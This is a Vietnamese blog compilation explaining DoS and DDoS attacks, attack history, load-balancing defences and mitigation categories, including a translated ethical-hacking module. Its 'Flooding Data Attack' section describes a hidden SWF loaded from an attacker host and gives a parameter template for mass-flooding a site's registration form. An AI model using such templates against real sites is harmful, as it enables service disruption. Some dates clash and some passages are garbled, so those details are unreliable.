Các nút trong một cluster thường là một bộ phận của cùng một vùng (domain) và có thể được cấu hình là máy điều khiển vùng (domain controllers) hay máy chủ thành viên. Lý tưởng nhất là mỗi cluster nhiều nút có ít nhất hai nút làm máy điều khiển vùng và đảm nhiệm việc failover đối với những dịch vụ vùng thiết yếu. Nếu không như vậy thì khả năng sẵn sàng của các tài nguyên trên cluster sẽ bị phụ thuộc vào khả năng sẵn sàng của các máy điều khiển trong domain.

h)Network Load Balancing của Goole và Yahoo! trong việc phòng chống Denial of Service:

i.Cơ chế chung

vKhi connect tới server, Round Robin DNS Load Balancing sẽ phân giải domain thành nhiều địa chỉ IP khác nhau và sử dụng cấp thứ 1của load balancing là gửi tới các cluster khác nhau, các cluster này thực chất là các server cache của nhau, dữ liệu của chúng được đồng bộ lẫn nhau thông qua giao thức HTTP.

vMỗi server cluster có hàng ngàn server để gửi các query tới web server

vServer load balancer lấy request của user và chuyển tiếp nó tới 1 trong các web servers nhờ vào Squid proxy servers

vSquid proxy server nhận request của client load balancer và trả về kết quả nếu có trong cache ngược lại thì chuyển tiếp tới web servers

vWeb server định vị tọa độ thực thi các queries của user và định dạng kết quả thành 1 trang HTML

ii.Giải pháp thực tế của Google

vSử dụng các NetScaler 9800 Secure Application Switches

vNetScaler có thể tải hàng trăm megabits trong 1 giâycủa tầng 4 đếntầng 7 lưu lượng sử dụng

vTại dữ liệu trung tâm, các máy chủ sử dụng các Apache Server và các ứng dụng Web Server do chính Google thiết kế

vCách thức NetScaler phòng chống DoS là nó đóng vai trò như 1 firewall dự phòng của hệ thống firewall của công ty

vCác load balancer được thiết kế chỉ chấp nhận các luồng thông tin qua cổng 80, nếu thông tin không đi qua một cổng được chỉ định, hoặc không bắt nguồn từ 1 IP, chúng sẽ bị hủy lập tức

vVới tính năng "SYN cookies", NetScaler có thể đáp ứng các SYN messages - packets khởi đầu cho 1 TCP/IP connection(được sử dụng trong "SYN flood" DoS attack) mà không xung đột với tài nguyên của chính nó

vVới NetScaler, Google phòng chống được DoS attack từ tầng 4, đối với tầng 7 đã có công cụ được cài trên các Web server xử lý

vThiết lập kiến trúc cân bằng tải cho các server trọng điểm sẽ làm gia tăng thời gian chống chọi của hệ thống với cuộc tấn công DDoS


1Một số vụ tấn công bằng DoS và DDoS


Thế giới

•1998 Chương trình Trinoo Distributed Denial of Service (DDoS) được viết bởi Phifli.

•Tháng 5 – 1999 Trang chủ của FBI đã ngừng họat động vì cuộc tấn công bằng (DDOS)

•Cuối tháng 9 năm 1999, Công cụ Stacheldraht đã bắt đầu xuất hiện trên những hệ thống của Châu âu và Hoa kỳ

•Lúc 10h 30 ngày 7-2-2000 Yahoo bị tấn công từ chối dịch vụ và ngưng trệ hoạt động trong vòng 3 giờ đồng hồ. Web site Mail Yahoo và GeoCities đã bị tấn công từ 50 địa chỉ IP khác nhau với những yêu cầu chuyển vận lên đến 1 gigabit /s

•8-2-2000 nhiều Web site lớn như Buy.com, Amazon.com, eBay, Datek, MSN, và CNN.com bị tấn công từ chối dịch vụ.

•Lúc 7 giờ tối ngày 9-2-2000 Website Excite.com là cái đích của một vụ tấn công từ chối dịch vụ, dữ liệu được luân chuyển tới tấp trong vòng 1 giờ cho đến khi kết thúc, và gói dữ liệu đó đã hư hỏng nặng.

Việt Nam

•Ngày 01/12/2005 Website Hacker lớn nhất Việt Nam HVA bị tấn công bằng “chiêu thức” xFlash với tốc độ tấn công khoảng 16.000 syn/s. Đây là vụ tấn công Từ Chối Dịch Vụ đầu tiên ở Việt Nam

•Nguyễn Thành Công tức DantruongX (Đắk Lắk) tấn công vào website của công ty Việt Cơ vào ngày 12/03/2006.

•Và bị bắt vào ngày 28/04/2006.

•Đây là vụ tấn công đầu tiên ở Việt Nam bị pháp luật xử lý.

•DantruongX là tác giả của một loại code DDoS mạnh nhất tại Việt Nam hiện nay, và với 10 PC có thể đánh sập một website trong 10 phút.


Mô hình tấn công vào Website của Việt Cơ

•Ngày 31/7/2006, một sinh viên năm thứ 2 đã bị đơn vị phòng chống tội phạm công nghệ cao thuộc C15 Bộ Công an bắt giữ vì tiến hành tấn công từ chối dịch vụ. Kẻ "thủ ác" quản trị một số diễn đàn âm nhạc và lợi dụng PC thành viên để đánh phá website "nạn nhân" trong thời gian dài.

•Hacker trẻ tuổi này đã dùng phương pháp xFlash để tấn công những máy chủ của công ty phần mềm Nhân Hòa trong một thời gian dài .

Sơ đồ tấn công vào công ty Nhân Hòa

(Nguồn Athena)
 

Thứ Tư, 27 tháng 10, 2010

Cách thức phòng chống DDOS

1. Khi bạn phát hiện máy chủ mình bị tấn công hãy nhanh chóng truy tìm địa chỉ IP đó và cấm không cho gửi dữ liệu đến máy chủ.
2. Dùng tính năng lọc dữ liệu của router/firewall để loại bỏ các packet không mong muốn, giảm lượng lưu thông trên mạng và tải của máy chủ.
3. Sử dụng các tính năng cho phép đặt rate limit trên router/firewall để hạn chế số lượng packet vào hệ thống.
4. Nếu bị tấn công do lỗi của phần mềm hay thiết bị thì nhanh chóng cập nhật các bản sửa lỗi cho hệ thống đó hoặc thay thế.
5. Dùng một số cơ chế, công cụ, phần mềm để chống lại TCP SYN Flooding.
6. Tắt các dịch vụ khác nếu có trên máy chủ để giảm tải và có thể đáp ứng tốt hơn. Nếu được có thể nâng cấp các thiết bị phần cứng để nâng cao khả năng đáp ứng của hệ thống hay sử dụng thêm các máy chủ cùng tính năng khác để phân chia tải.
7. Tạm thời chuyển máy chủ sang một địa chỉ khác.
Flooding Data Attack ?

• Hoàn toàn khác với DDos về khả năng tấn công cũng như sự huy động tấn công rất dễ dàng để làm tràn ngập dữ liệu (Flood data attack !) được phát triển ở rất nhiều dạng nó dựa vào những lỗi của hầu hết các mã nguồn mở của ASP, PHP, JSP, CGI …..

• Với DDOS như chúng ta đã biết khi một số Hacker muốn mở những cuộc tấn công đều phải hội tụ những điều kiện, là phải dùng những máy chủ có đường truyền cao và thường thì phải @hắc vào server đó mới có thể huy động làm công cụ tấn công được, ngược lại với Flood data attack việc huy động quá dễ, nó chia ra làm 2 dạng tấn công như sau:

• Dạng 1: Được chạy trên trên môi trường Windonw, Unix, Linux …

Với kích thước từ 500 byte đến 1Kb các Hacker dễ dàng đính kèm vào một Website nào đó có nhiều người hiện đang có mặt truy cập trên Website đó. Với đọan mã trên ta có thể thấy Hacker đã đặt kích thước tập tin Flooddata.swf ở chế độ Chiều rộng (width) là bằng 0 và chiều cao (height) cũng bằng 0 như thế tập tin này sẽ không thể hiển thị được trên trên trang Web đó.

Khi người sử dụng vào Website này lập tức sẽ kích họat chương trình Flood Data Attack ! của Hacker tại địa chỉ là http://noitancong.com/filedata.swf và Hacker cũng dễ dàng điều khiển chương trình bằng 1 file nguồn ở 1 Website nào đó của Hacker trên mạng mà Hacker đó đặt ra trong chương trình Flooding data Attack.

Hacker có thể kiểm soát được số người hiện đang kích hoạt chương trình Flood data của mình trên Website đó và khi nào Hacker cảm thấy số lượng người đang kích hoạt chương trình đã đủ để việc tấn công một Website nào đó trên mạng thành công thì công việc đó có thể được bắt đầu.

Ví dụ như hacker vào một địa chỉ như http://www.vbuleetin.com để thực hiện công việc tấn công trang này hacker cần phải tìm những nơi có sự trao đổi dữ liệu cho nhau như Register, Search, Login, Sendmail ….. Sau khi đã thu thập được những thành phần trên Hacker bắt đầu thực hiện lấy những đầu vào(input) và gán nhửng giá trị đầu vào trên lên nơi điều khiển của chương trình Flood data attack!.

Ví dụ phần trên sẽ được gán với biến như sau :
Url=http://www.vbuleetin.com/register.php&username=user + random(999999999)&password = flood&passwordconfim=password&email=random(1000000 00)+@vbulleetin.com
Trong đó Url là giá trị của Website bị tấn công, Username với giá trị là một user nào đó do hacker đặt ra và cộng với biến ngẫu nhiên ở sau mỗi user mà hacker đặt ra là khác nhau. Một khi Website này bị tấn công, toàn bộ họat động của Server chứa Website đó sẽ bị hậu quả rất ngiêm trọng tùy theo số lượng người kích họat vào chương trình Flood data attack! Của hacker đó, Lúc này những phần bị ảnh hưởng sẽ là MailServer, MySQL, PHP, Apache, FTP….

• Đối với MySQL : Khi bị Flood data attack! Những yêu cầu sẽ được gửi liên tục đến Server và được chuyển qua MySQL xử lý với số lượng lớn và nối tiếp nhau cho đến khi quá tải chương trình MySQL sẽ hòan toàn bị vô tác dụng song song với việc ảnh hưởng đến MySQL là việc ảnh hưởng đến MailServer.

Với giá trị là random(100000000)+@vbuleetin.com thì khi thực thi nó sẽ gửi từ ‘1@vbuleetin.com’ cho đến ‘100000000@vbuleetin.com’ tất nhiên nhửng email này sẽ không có thực đối với trang chủ của Website ‘http://www.vbuleetin.com.

• Đối với sẽ những địa chỉ email này MailServer đưa vào danh sách "Msgs Failed" nhưng với giá trị là @vbulletin.com thì hầu hết một nhà cung cấp "domain" và "hosting" sẽ chuyển về một số email mặc định như là postmaster, admin, administrator, supervisor, hostmaster, webmaster.

Những Hacker có thể lợi dụng những Form mail trong việc trao đổi thông tin giữa khách hàng với chủ cung cấp dịch vụ để thực hiện những cuộc tấn công, những cuốc tấn công này thường rất nguy hiễm vì có thể trong 1 giây Hacker thực hiện từ 100 lần đến hàng nghìn lần với những yêu cầu SendEmail từ 1 user trên server đó đến MailServer.

• Dạng 2: Được đính kèm trên các Website và nhận lệnh tấn công từ một địa chỉ nào đó trên Mạng toàn cầu.

Được chạy dưới dạng file.exe với dạng thức này thì khả năng tấn công vẫn giống như cách tấn công nằm trên website nhưng khả năng tấn công được nâng thêm nhiều dạng như Ping, Flood Ftp, Flood Smtp… tùy vào khả năng phát triển của Hacker.
Cũng giống như chương trình Flood data attack! Được gắn trên website dạng .exe này cũng được điều khiển từ 1 Website. Thường thì nơi điều khiển được đặt chung 1 nơi để tiện cho việc điều khiển.

Với những phương thức tấn công như vậy ta cũng có thể thấy được tầm nguy hiểm của nó nếu như được đặt trên một server với số lượng người truy cập đông như Google hoặc 1 Website nổi tiếng nào đó thì sức phá hoại của nó là rất khủng khiếp.

• Với 1 client/1s có thể gửi từ 3 - 8 yêu cầu có thực đến máy chủ thực thi và xử lý thông qua đó nó có thể ảnh hưởng đến Php, Apache, Phpmail, MySQL, FTP …., Tùy theo những mã nguồn của ASP, PHP, JSP, CGI, PL hoặc chung quy là những mã nguồn có liên quan đến công việc xuất và nhập dữ liệu.

Nếu hacker huy động hoặc @hắc được những server hoặc Website nào đó có số lượng người Online khoảng 2000 thì trong 1 giây Server đó sẽ phải thực thi khoảng 6000 yêu cầu từ các client gửi đến Server đó.

Ví dụ : Có User nằm trên server X nào đó user đó có cài đặt mã nguồn mở như Forum IPB (Invision Power Boards) khi hacker sử dụng mục đăng ký làm nơi tấn công Flood data thì trong vòng một giây như phần trên đã nêu sẽ có khoãng 6000 nickname được khởi tạo đi kèm theo đó là 6000 yêu cầu đã được mã nguồn mử thiết lập khi đăng ký và sẽ kèm theo việc gửi email đến các địa chỉ đã đăng ký.

• Như vậy đi kèm với 6000 nickname trên, MailServer sẽ phải gửi đi 6000 yêu cầu trong vòng 1/s việc này nếu như bị kéo dài từ 5 - 10 phút thì Server đó hầu như sẽ không còn họat động được.

Bandwith lúc này có thể tăng 5 - 10 MB/s cộng thêm data khi được chuyển đến MySQL lúc này có thể đạt tới 5 -7 MB/s nữa khi đó toàn bộ các phần mềm như Apache, MailServer, PHP, MySQL, FTP đều bị ngưng họat động. Lúc đó server có thể sẽ bị reboot.
Vì Hacker sử dụng phương tiện tấn công Online trên Website và dựa vào lượng khách truy cập thông tin ở nhiều Website nên phương pháp này hầu như rất khó chống, mỗi ngày Hacker có thể dùng hàng ngàn địa chỉ IP trên khắp thế giới để thực hiện việc tấn công như thế ta có thể thấy nó đơn giản so với DDos rất nhiều nhưng sự nguy hiểm có lẽ hơn hẳn DDos. Vì Flooding Data Attack tấn công theo dạng địa chỉ ‘http://victim.com/data.php&bien1&bien2&bien3’ theo cổng GET hoặc POST vì vậy, cho dù bất cứ lý do gì khi tấn công cũng phải đi qua hướng này.

Do lỗi được xuất hiện ở các mã nguốn ASP hay PHP nên cách tốt nhất là sửa và xem lại những mã nguồn mà người sử dụng muốn đưa lên mạng. Để tránh bị Flood data Attack! Thì cách phòng chống tạm thời vẫn là thêm một chuỗi ngẫu nhiên trên mỗi Form có sự xuất và nhập dữ liệu tuy nhiên những cách trên chưa phải là những cách hòan thiện để chống lại nhửng cuộc tấn công tràn ngập dữ liệu (Flooding Data Attack).

Tấn công DDOS sẽ luôn là mối đe dọa hàng đầu đến các hệ thống trên thế giới. Về kỹ thuật, hầu như chúng ta có thể hy vọng attacker sử dụng những công cụ v cĩ hiểu biết kém cỏi về các protocol để có thể nhận biết và lọai trừ các traffic gây nên cuộc sống. Một điều mà các chuyên gia ai cũng thừa nhận, đó là nếu DDOS được thực hiện bởi một hacker có trình độ, thì việc chống đỡ là không thể. Cách đây 4 năm, giới hacker chính quy thế giới đ khai tứ kỹ thuật tấn công này và chấm dứt mọi hoạt động nghiên cứu-trình diễn hay pht tn công cụ do chính bản thân họ cũng nhìn thấy mức độ nguy hiểm và không công bằng của kiểu tấn công này. Đối với hacker đẳng cấp thì “Hacking is get root”.
Với một hạ tầng mạng hết sức yếu kém, cùng với nền thương mại [w]điện[/w] tử mới được hình thành, DDOS sẽ là một mối nguy hại rất lớn cho Internet Việt Nam. Commaz ku gọi sự hợp tác với hỗ trợ của tất cả thành viên cộng đồng Internet Việt Nam, hy cĩ một cái nhìn với hành động thật chín chắn, DDOS là một hành động hết sức vô ý nghĩa về mọi mặt.

Tấn công từ chối dịch vụ (DoS) là các cuộc tấn công trên hệ thống mạng nhằm ngăn cản những truy xuất tới một dịch vụ. Tấn công DoS phá hủy dịch vụ mạng bằng cách làm tràn ngập số lượng kết nối, quá tải server hoặc chương trình chạy trên server, tiêu tốn tài nguyên của server, hoặc ngăn chặn người dùng hợp lệ truy nhập tới dịch vụ mạng.

Có rất nhiều các phương cách để thực hiện các cuộc tấn công từ chối dịch vụ, vì thế cũng có rất nhiều cách phân loại DoS.

Cách phân loại phổ biến thường dùng dựa vào giao thức trong hình thức tấn công của DoS, ví dụ như tràn ngập ICMP với Smurf, Ping of Death, khai thác điểm yếu của TCP trong hoạt động của giao thức và phân mảnh gói tin với SYN flood, LanD attacks, TearDrop hay trên mức dịch vụ như với Flash Crowds (ở Việt Nam thường biết đến với tên X-flash).

Phân loại theo phương thức tấn công, DoS có thể được thực hiện bằng một vài gói tin đơn lẻ gửi thẳng tới server gây rối loạn hoạt động (như slammer worm), hoặc kích hoạt để gửi từ nhiều nguồn (từ chối dịch vụ phân tán DdoS). Tấn công có thể thực hiện trên mạng Internet (sử dụng ngay các web server), hoặc broadcast trong mạng bên trong (insider attacks như với Blaster worm), trên mạng P2P (P2P index poinsioning) hay Wireless (WLAN authentication rejection attack- spoof sender). Tuy nhiên, có thể thấy các cách phân loại trên dựa chủ yếu vào cách nhìn từ sự phát sinh tấn công, và vì thế, không hệ thống hóa được phương thức phòng tránh.

Một cách chung nhất, có 7 phạm trù các tổ chức cần xem xét khi đối phó với các mối đe dọa về DoS như sau:

1. Phòng ngừa các điểm yếu của ứng dụng (Application Vulnerabilities)

Các điểm yếu trong tầng ứng dụng có thể bị khai thác gây lỗi tràn bộ đệm dẫn đến dịch vụ bị chấm đứt. Lỗi chủ yếu được tìm thấy trên các ứng dụng mạng nội bộ của Windows, trên các chương trình webserver, DNS, hay SQL database. Cập nhật bản vá (patching) là một trong những yêu cầu quan trọng cho việc phòng ngừa. Trong thời gian chưa
thể cập nhật toàn bộ mạng, hệ thống phải được bảo vệ bằng bản vá ảo (virtual patch). Ngoài ra, hệ thống cần đặc biệt xem xét những yêu cầu trao đổi nội dung giữa client và server, nhằm tránh cho server chịu tấn công qua các thành phần gián tiếp (ví dụ SQL injection).

2. Phòng ngừa việc tuyển mộ zombie

Zombie là các đối tượng được lợi dụng trở thành thành phần phát sinh tấn công. Một số trường hợp điển hình như thông qua rootkit (Sony hay Symantec), hay các thành phần hoạt động đính kèm trong mail, hoặc trang web, ví dụ như sử dụng các file jpeg khai thác lỗi của phần mềm xử lý ảnh, các đoạn mã đính kèm theo file flash, hoặc trojan cài đặt theo phishing, hay thông qua việc lây lan worm (Netsky, MyDoom, Sophos). Để phòng chống, hệ thống mạng cần có những công cụ theo dõi và lọc bỏ nội dung (content filtering) nhằm ngăn việc tuyển mộ zombie của hacker.

3. Ngăn ngừa kênh phát động tấn công sử dụng công cụ

Có rất nhiều các công cụ tự động tấn công DoS, chủ yếu là tấn công phân tán DDoS như TFN, TFN2000 (Tribe Flood Network) tấn công dựa trên nguyên lý Smurf, UDP, SYN, hay ICMP; Trinoo cho UDP flood; Stacheldraht cho TCP ACK, TCP NULL, HAVOC, DNS flood, hoặc tràn ngập TCP với packets headers ngẫu nhiên. Các công cụ này có đặc điểm cần phải có các kênh phát động để zombie thực hiện tấn công tới một đích cụ thể. Hệ thống cần phải có sự giám sát và ngăn ngừa các kênh phát động đó.

4. Ngăn chặn tấn công trên băng thông.

Khi một cuộc tấn công DdoS được phát động, nó thường được phát hiện dựa trên sự thay đổi đáng kể trong thành phần của lưu lượng hệ thống mạng. Ví dụ một hệ thống mạng điển hình có thể có 80% TCP và 20% UDP và ICMP. Thống kê này nếu có thay đổi rõ rệt có thể là dấu hiệu của một cuộc tấn công. Slammer worm sẽ làm tăng lưu lượng UDP, trong khi Welchi worm sẽ tạo ra ICMP flood. Việc phân tán lưu lượng gây ra bởi các worm đó gây tác hại lên router, firewall, hoặc cơ sở hạ tầng mạng. Hệ thống cần có những công cụ giám sát và điều phối băng thông nhằm giảm thiểu tác hại của tấn công dạng này.

5. Ngăn chặn tấn công qua SYN.

SYN flood là một trong những tấn công cổ nhất còn tồn tại được đến hiện tại, dù tác hại của nó không giảm. Điểm căn bản để phòng ngừa việc tấn công này là khả năng kiểm soát được số lượng yêu cầu SYN-ACK tới hệ thống mạng.

6. Phát hiện và ngăn chặn tấn công tới hạn số kết nối.

Bản thân các server có một số lượng tới hạn đáp ứng các kết nối tới nó. Ngay bản thân firewall (đặc biệt với các firewall có tính năng stateful inspection), các kết nối luôn được gắn liền với bảng trạng thái có giới hạn dung lượng. Đa phần các cuộc tấn công đều sinh số lượng kết nối ảo thông qua việc giả mạo. Để phòng ngừa tấn công dạng này, hệ thống cần phân tích và chống được spoofing. Giới hạn số lượng kết nối từ một nguồn cụ thể tới server (quota).

7. Phát hiện và ngăn chặn tấn công tới hạntốc độ thiết lập kết nối.

Một trong những điểm các server thường bị lợi dụng là khả năng các bộ đệm giới hạn giành cho tốc độ thiết lập kết nối, dẫn đến quá tải phải chịu sự thay đổi đột ngột về số lượng sinh kết nối. Ở đây việc áp dụng bộ lọc để giới hạn số lượng kết nối trung bình rất quan trọng. Một bộ lọc sẽ xác định ngưỡng tốc độ kết nối cho từng đối tượng mạng. Thông thường, việc này được đo bằng số lượng kết nối trong thời gian nhất định để cho phép sự dao động trong lưu lượng.

Các phân tích ở trên được dựa trên những ngầm định cơ bản sau trong việc bảo vệ hệ thống.

1. Đó là các thiết bị bảo vệ cần được đặt trên luồng thông tin và thực hiện trực tiếp việc ngăn ngừa. Điều này xuất phát từ lý do cho tốc độ của một cuộc tấn công (ví dụ khoảng 10.000 đăng ký thành viên trên 1s hướng tới 1 server, hoặc phát tán worm với tốc độ 200s trên hệ thống mạng Ethernet 100M). Với tốc độ như vậy, cách thức phòng ngừa dạng phát hiện thông báo ngăn chặn (Host Shun và TCP Reset) không còn phù hợp.

2. Các cuộc tấn công từ chối dịch vụ chủ yếu nhắm tới khả năng xử lý của hệ thống mạng mà đầu tiên là các thiết bị an ninh thông tin. Năng lực xử lý của IPS hoặc các thành phần content filtering là một trong những điểm cần chú ý, đặc biệt ở sự ổn định trong việc xử lý đồng thời các loại lưu lượng hỗn tạp với kích thước gói tin thay đổi.

3. Các cuộc tấn công luôn được tích hợp (blend attacks) với sự tổng hợp các phương thức khác nhau. Chính vì vậy, tầm quan trọng của việc phòng ngừa những dấu hiệu lây nhiễm đơn giản là bước đầu tiên để ngăn chặn những cuộc tấn công từ chối dịch vụ.
Trong hệ thống tổng thể về security, để đối phó với các cuộc tấn công từ chối dịch vụ, thì thành phần IPS được coi là quan trọng nhất ở tính trong suốt với người dùng, nên việc phân tích các luồng thông tin trao đổi giữa server và người dùng không bị ảnh hưởng bởi các luồng tấn công hướng thẳng đến nó.

Thứ Ba, 26 tháng 10, 2010

Denial of Service (DoS)

Còn đây là tài liệu module 8:
Ethical HackinG

Module 8: Denial of Service (DoS)



O. Tổng quan :
Trong phần này chúng ta sẽ tìm hiểu về nhiều khía cạnh của tấn công từ chối dịch vụ .Thảo luận với những chủ đề giống như tấn công từ chối dịch vụ là gì ? Điều gì là sự phân tán trong tấn công từ chối dịch vụ? Những kiểu tấn công từ chối dịch vụ ,các công cụ cho các cuộc tấn công và những biện pháp đối phó. [ Mr. Neo – Vietnam Internet Security System ]



DoS – Tấn công từ chối dịch vụ.

Tài liệu gồm các ý chính:

Định nghĩa tấn công từ chối dịch vụ ?
Thế nào là phát tán tấn công từ chối dịch vụ ?
Các loại tấn công từ chối dịch vụ
Công cụ tấn công từ chối dịch vụ
Công cụ DDOS attack
Trả đũa


Thực tế cho thấy: 6/6/2000. Trang chủ Yahoo đã ngưng hoạt động trong 3h, tiếp đó là tới BUY.COM, AMAZON, EBAY, CNN .. cũng lần lượt die ..

Theo tính toán của Yankee Group, thiệt hại ước tính là 1,2 tỷ $. Cuộc tấn công DDoS được ghi nhận đầu tiên là vào năm 1988 (CERT). Cuộc tấn công vào T6/2000 là do 1 cậu nhóc 15 tuổi người Canada – Mafia Boy – với công cụ Trinoo (Tribe Flood Network)

Tháng 1 năm 2001, Microsoft, MSN, expedia.com là nạn nhân của tấn công từ chối dịch vụ trong nhiều giờ đồng hồ. Theo CERT ước tính thiệt hại là 100000 $.

I. Định nghĩa tấn công từ chối dịch vụ:

Denial of Service (DoS) là cuộc tấn công được tạo nên để hoàn trả cho 1 máy tính hay 1 mạng máy tính không đủ lực để hoạt động. DoS attacks hay được sử dụng nhằm mục tiêu vào băng thông hoặc phạm vi kết nối. Việc flood băng thông của 1 hệ thống mạng với lưu lượng cao, sẽ làm sự tồn tại của hệ thống mạng bị phá huỷ (nuốt – luộc – nghĩa bong) và làm hợp pháp việc ng` sử dụng yêu cầu lấy thông tin ( chắc đây là cannot display page )

Tấn công flood phạm vi kết nối của 1 computer với liều cao của yêu cầu kết nối khiến hệ thống điều hành bị phá huỷ và chiếc computer không thể hoạt động theo yêu cầu người sử dụng

Một cuộc tấn công tấn công từ chối dịch vụ có đặc điểm là sự cố gắng muốn chiếm đoạt của attackers. Một số đặc điểm:

• Cố gắng "flood" a hệ thống mạng, để rồi ngăn ngừa sự hợp pháp của lưu luợng (traffic) trên hệ thống

• Cố gắng phá vỡ kết nối giữa 2 máy

• Cố gắng xâm nhập của 1 cá nhân

• Cố gắng phá vỡ 1 dịch vụ của một hệ thống trở nên rõ rang



Không phải tất cả dịch vụ sẽ ngưng hoạt động, nhưng những hành động trên luôn mang tính huỷ hoại và là cơ sở của tấn công từ chối dịch vụ. Một số loại tấn công khác cũng coi tấn công từ chối dịch vụ như là 1 thành phần, nhưng chính tấn công từ chối dịch vụ là một phần của một cuộc tấn công mang tính quy mô. Một sô người dung bất hợp pháp có thể lợi dụng tấn công từ chối dịch vụ. Ví dụ, kể xâm nhập có thể sử dụng phân vùng anonymous ftp làm nơi để lưu giữ bản copy bất hợp pháp của môt phần mềm thương mại , chiếm ổ dữ liệu rồi tạo nên một hệ thống lưu lượng mạng.



Trong thế giới Internet, một cuộc tấn công từ chối dịch vụ thường gắn liền với ngưới sử dụng hay một tổ chức thiếu thốn về bảo mật. Điển hình như, việc 1 trang web khi có khoảng hàng ngàn lượt truy câp cũng có thể gây lụt server. Tấn công từ chối dịch vụ còn có thể huỷ diệt toàn bộ dữ liệu của máy chủ. Thông thường, tấn công từ chối dịch vụ hay nhằm vào lỗ hổng bảo mật, đó chính là một trong những loại tấn công từ chối dịch vụ nguy hiểm . Và là, mỗi cuộc tấn công gây thiệt hại lớn về thời gian và tiền bạc của nạn nhân …


II. Phân loại tấn công từ chối dịch vụ:


1. Bandwidth/Throughput Attacks:



Tấn công vào băng thông are thực sự khá đơn giản, đó là việc cố gắng sử dụng những nguồn như network bandwidth hoặc trang bị thong lượng (throughput) . Cuộc tấn công nguy hiểm là nó có thể luộc cả băng thông khiến. Hoặc có thể khiến lưu lượng thông tin trở nên chậm chạp.

Timeouts may occur, causing retransmission, generating even more traffic.

Kể tấn công có thể luộc bandwidth bằng cách truyêng tải những lưu lựợng thônh tin trên toang bộ các kết nối của toàn hệ thống

Cuộc tấn công flood cơ bản là sử dụng UDP or gói ICMP để dễ dàng tiêu thụ bandwidth.

For that matter, an attack could consist of TCP or raw IP packets, as long as the traffic is routed to

your network.

Một cuộc tấn công tàn phá bandwidth đơn giản có thể khai thác qua giới hạn thông lượng của servers hoặc hệ thống bởi tỷ lệ các gói tệp tin cao—gửi nhiều gói nhỏ. Highpacket-rate tấn công tiểu biểu làm chon vùi hệ thống trứơc khi lưu luợng đạt tới đỉnh điểm của bandwidth. Routers (bộ định tuyến), servers, và firewalls hay những rang buộc khác liên quan tới input/output làm hư hỏng bộ xử lý, CPU và bộ nhớ. Hệ thống sẽ đọc đầu gói tin (header packet) theo đúng cách với khối lưu luợng lớn khiến việc đó trở nên “stress”. Trong thực tế, tấn công từ chối dịch vụ thường xuyên phải hoàn tất một khối lượng gói tin lớn.


2. Protocol Attacks:

Cuộc tấn công flood cơ bản là tấn công các giao thức hệ thống mạng. Những cuộc tấn công đó không trực tiếp khai thác những tình trạng yếu kém trong TCP/IP(giao thức diièu khiến sự truyền phát/ nghi thức internet – tạm dịch) stacks hoặc ứng dụng network mà sử dụng các giao thức như TCP, UDP, và ICMP. Một số các vị dụ như sau:

• SYN flood is cách sử dụng nguồn bất đối xứng sẽ flood thông qua TCP SYN gói tin và chỉ định nạn nhân phải chấp nhận nhiều kết nối. Và sau đó, ng` ta tạo ra Host Identity Payload and Protocol (HIP mục đích để làm dịu bớt các cuộc tấn công SYN flood. Kỹ thuật khác đó là SYN Cookies (xem http://cr.yp.to/syncookies.html), sử dụng giao thức TCP/IP stacks.

• SMURF tấn công vào chỗ yếu của hệ thống broadcast (truyền thông) address với gói ICMP ECHO REQUEST rồi sẽ lừa nạn nhân(xem http://www.cert.org/advisories/CA-1998-01.html).

• FRAGGLE là biến thể của smurf, nó gửi các gói UDP để báo hiệu lại broadcast addresses rồi sẽ lừa nạn nhân.



3. Một số software DDoS :



Khác với flooding và protocol attacks, nó tìm kiếm để phá vỡ hệ thống mạng hoặc trạng thái tài nguyên, tấn công logic để khai thác những lỗi thông qua các chương trình hệ thống, như web server, hoặc dưới hình thức TCP/IP stack. Một vài vuln được tạo ra nhờ các packet dị hình.

• teardrop (bonk, boink) thâm nhập qua TCP/IP - IP stacks mà chồng chéo không thực hiện thật đúng đắn IP(xem http://www.cert.org/advisories/CA-1997-28.html).

• land thực hiện các mánh khoé qua IP packets với các nguồn address và port rồi cài nó trùng với address and port đích(xem http://www.cert.org/advisories/CA-1997-28.html).

• ping of death gửi một lượng lớn ICMP ECHO REQUEST packet tới mục tiêu.

• Naptha như một cuộc tấn công resource-starvation thông qua việc thâm nhập lỗi TCP/IP stacks - TCP packets. (xem http://www.cert.org/advisories/CA-2000-21.html).



III. Định nghĩa DDoS:



DDoS attacks bao hàm cả việc phá vỡ hang trăm hoặc hang ngàn chiếc máy sử fụng hệ thống Internet. Sau đõ attacker cài trình DDoS lên, cho phép chúng điều khiển chúng tần công vào victim sites. Cuộc tấn công này làm phá huỷ bandwidth nhanh chóng, router chạy hết công suất, hoặc phá huỷ các kết nối tới victim.

DDoS là sự phối hợp của các giai đoạn DoS attacks hoặc tiến phối hợp nhiều host khác nhau để tấn công mục tiêu từ những câu lệnh ở các máy rất xa. DDoS không thể ngăn chặn với việc chặn IP một cách đơn thuần khi mà nó được thực thi trên nhiều máy khác nhau. Một số dụng cụ DDoS được biết đến như Mstream, Trinoo, TFN2K (Tribe Flood Network), Stacheldraht and Shaft. DDoS attack là ví dụ của cuộc tấn công bandwidth.



===== The WWW Security FAQ (viết tắt của Frequently Aked Ques. thì phải) định nghĩa Distributed Denial of Service (tấn công phân phát từ chối dịch vụ):

A Distributed Denial of Service (DDoS) attack sử dụng rất nhiều máy tính để chạy những trình gây tấn công mục tiêu. Sử dụng công client/server, kẻ tấn công có thể nhân lên nhiều lần các tính trạng của Denial of Service tạo thành một thức trình có độ phá hoại cao rồi tấn công vào một hệ thống kể cả nó có bảo mật. Cuộc tấn công DDoS điển hình là cài trên một computer sử dụng account bị đánh cắp. Chương trình đó, tại một thời điểm xác định rõ, sẽ truyền đạt thông tin để cài các chương trình “agent” vào các máy khác khắp nơi trên hệ thống mạng. Khi những tên gián điệp ấy nhận được những lệnh, sẽ bắt đầu tấn công. Sử dụng công client/server, chương trình ấy có thể diều khiển hàng trăm và có thể hang nghìn “agent programs” sau vài giây.


